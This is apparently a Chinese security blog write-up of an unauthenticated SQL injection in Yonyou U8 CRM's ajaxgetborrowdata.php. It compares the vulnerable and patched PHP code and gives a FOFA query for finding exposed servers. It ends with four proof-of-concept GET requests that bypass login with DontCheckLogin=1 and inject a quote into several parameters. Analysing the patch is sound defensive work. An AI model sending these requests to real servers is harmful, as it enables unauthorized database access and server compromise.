用友U8 CRM ajaxgetborrowdata.php SQL注入漏洞


漏洞简介

用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件,旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。用友 U8 CRM客户关系管理系统 ajaxgetborrowdata.php 文件存在SQL注入漏洞,未经身份验证的攻击者通过漏洞执行任意SQL语句,调用xp_cmdshell写入后门文件,执行任意代码,从而获取到服务器权限。

影响版本

V18, V16.5, V16.1, V16.0, V15.1, V13

fofa语法

title="用友U8CRM"

漏洞分析

根据官方漏洞通告

可知漏洞原因为sql注入导致的命令注入攻击。

那直接看 U8SOFT/turbocrm70/code/www/borrowout/ajaxgetborrowdata.php 修复前后的差异

当 Action=getCusInfo 时

可以看到修复版本删除了拼接 cus 进sql语句部分,以及当 Action=getWarehouseOtherInfo 时

case "getWarehouseOtherInfo": 
        $bWhPos='0';  ;
        try
        {     
            $cWhCode = isset ($_GET['cWhCode'])?$_GET['cWhCode']:$_POST['cWhCode'] ;
            //$sql="select case when bWhPos = 1 then '1' else '0' end bWhPos  from Warehouse  where cWhCode ='".$cWhCode."'";
            //$rs = $gblDB->query($sql);
            $stmt = new TSQLStmt();
            $stmt->Table('Warehouse','a');
            $stmt->Select('a','bWhPos');
            $stmt->Cond("a","cWhCode",$cWhCode);
            $sql = $stmt->SQLGen();
            $rs = $gblDB->Query($sql);

是对 cWhCode 进行参数化查询处理,而不是直接拼接进SQL语句中,以及当 Action=ChangeIexchrate 时

case "ChangeIexchrate": 
        $uflogin = $gblObj->getUfLogin() ;
        $dbc = $uflogin->UfCurrentDb(); 
        $Crrency = isset ($_GET['Crrency'])?$_GET['Crrency']:$_POST['Crrency'] ;
//      $sql = "select * from foreigncurrency where cexch_name = '".$Crrency."'";
//      $rs = $gblDB->query($sql);
        $stmt = new TSQLStmt();
        $stmt->Table('foreigncurrency','a');
        $stmt->Select('a','iotherused');
        $stmt->Cond("a","cexch_name",$Crrency);
        $sql = $stmt->SQLGen();
        $rs = $gblDB->Query($sql);

可以看到没有修复之前是直接将 Crrency 拼接进sql语句中,无任何过滤和校验,造成sql注入漏洞。

以及当 Action=getCusPrice 时

case "getCusPrice": 
        $UpAutoID = isset ($_GET['i'])?$_GET['i']:$_POST['i'] ;
        $inum = isset ($_GET['n'])?$_GET['n']:$_POST['n'] ;
        $iquantity = isset ($_GET['q'])?$_GET['q']:$_POST['q'] ;
        $itaxrate = isset ($_GET['t'])?$_GET['t']:$_POST['t'] ;
        $iinvexchrate = isset ($_GET['c'])?$_GET['c']:$_POST['c'] ;
        $bObjectCode = isset ($_GET['cus'])?$_GET['cus']:$_POST['cus'] ; 
        $itax1 = isset ($_GET['x'])?$_GET['x']:$_POST['x'] ;
        $iexchrate = isset ($_GET['r'])?$_GET['r']:$_POST['r'] ;
        $Currency = isset ($_GET['m'])?$_GET['m']:$_POST['m'] ; 

        if (empty($UpAutoID)) $UpAutoID = 0;
        if (empty($inum)) $inum = 1;
        if (empty($iquantity)) $iquantity = 1;
        if (empty($itaxrate)) $itaxrate = 17;
        if (empty($iinvexchrate)) $iinvexchrate = 1;
        if (empty($itax1)) $itax1 = 17;
        if (empty($iexchrate)) $iexchrate = 1;
//      if (!empty($Currency)) $Currency = crmChar($Currency);
        if (!empty($bObjectCode)) $bObjectCode = substr($bObjectCode,1);
        $cBusType = crmChar("普通销售");
        $arr=array();   
        if (trim($UpAutoID)!="")
        {
            $tmpTablNamehead = "tmpCrmBorrowChangeHead".mt_rand(100000,999999) ;
            $tmpTablNamebady = "tmpCrmBorrowChangeBady".mt_rand(100000,999999) ;

            $strHeadsql="select N'".$cBusType."' AS cBusType,N'' AS cSTCode,N'' AS cSTName, ";
            $strHeadsql=$strHeadsql."  ".$iexchrate." AS itax1, N'' AS crdcode, N'' AS rrdcode, N'' as ccoutname, " ;
            $strHeadsql=$strHeadsql."  ID,cCODE,cType,(select top 1 cCusCode from Customer  where cCusCode='".$bObjectCode."' or cCusAbbName='".$bObjectCode."' or cCusName='".$bObjectCode."'  ) as bObjectCode,cpersoncode,cdepcode,cmemo,cMaker,cHandler,CloseUser,N'".$Currency."' as cexch_name, ";
            $strHeadsql=$strHeadsql."  ".$iexchrate." as iexchrate,IntoUser,iverifystate,ddate,dVeriDate,dCloseDate,dmDate,dIntoDate,iStatus, ";  
            $strHeadsql=$strHeadsql."  (select top 1 cCusName from Customer  where cCusCode='".$bObjectCode."' or cCusAbbName='".$bObjectCode."' or cCusName='".$bObjectCode."'  ) as bObjectName,iswfcontrolled,ireturncount,cdefine1,cdefine2,cdefine3,cdefine5,cdefine7, ";
            $strHeadsql=$strHeadsql."  cdefine8,cdefine9,cdefine10,cdefine11,cdefine12,cdefine13,cdefine14,cdefine15,cdefine16, ";
            $strHeadsql=$strHeadsql."  cdefine4,cdefine6,ufts,cCreateType,cContactperson,cContactWay,cfreight,cfreightType,cfreightCompany, ";
            $strHeadsql=$strHeadsql."  cfreightCost,cAboutVoucher,cCodeAboutVoucher,MycdefineT1,MycdefineT2,MycdefineT3,MycdefineT4, ";
            $strHeadsql=$strHeadsql."  MycdefineT5,MycdefineT6,MycdefineT7,MycdefineT8,MycdefineT9,MycdefineT10,DownstreamCode, ";
            $strHeadsql=$strHeadsql."  UpStreamCode,cdepname,cpersonname,bObjectName2,bObjectCode2,cVoucherId,VoucherId,VoucherCode, ";
            $strHeadsql=$strHeadsql."  VoucherType,bCusDomestic,cborrowouttype,soType into ".$tmpTablNamehead." ";
            $strHeadsql=$strHeadsql."  from V_HY_DZ_BorrowOutPrice_CRM where ID= (select top 1 ID from HY_DZ_BorrowOutS where AutoID = '".$UpAutoID."')"; 

$UpAutoID 也是直接拼接进SQL语句中,造成sql注入漏洞。

漏洞复现

GET /borrowout/ajaxgetborrowdata.php?DontCheckLogin=1&Action=getCusInfo&cus=' HTTP/1.1
Host: u8crm.mrxn.net
GET /borrowout/ajaxgetborrowdata.php?DontCheckLogin=1&Action=getWarehouseOtherInfo&cWhCode=' HTTP/1.1
Host: u8crm.mrxn.net
GET /borrowout/ajaxgetborrowdata.php?DontCheckLogin=1&Action=ChangeIexchrate&Crrency=' HTTP/1.1
Host: u8crm.mrxn.net
GET /borrowout/ajaxgetborrowdata.php?DontCheckLogin=1&Action=getCusPrice&i=' HTTP/1.1
Host: u8crm.mrxn.net

参考

  • https://security.yonyou.com/#/patchInfo?identifier=dbed49af1ced41e89fcc67d35e5df6c9

手机扫码阅读

Lockbit 被黑事件深度剖析与过程还原

锐捷-EWEB download.php 文件读取漏洞

评 论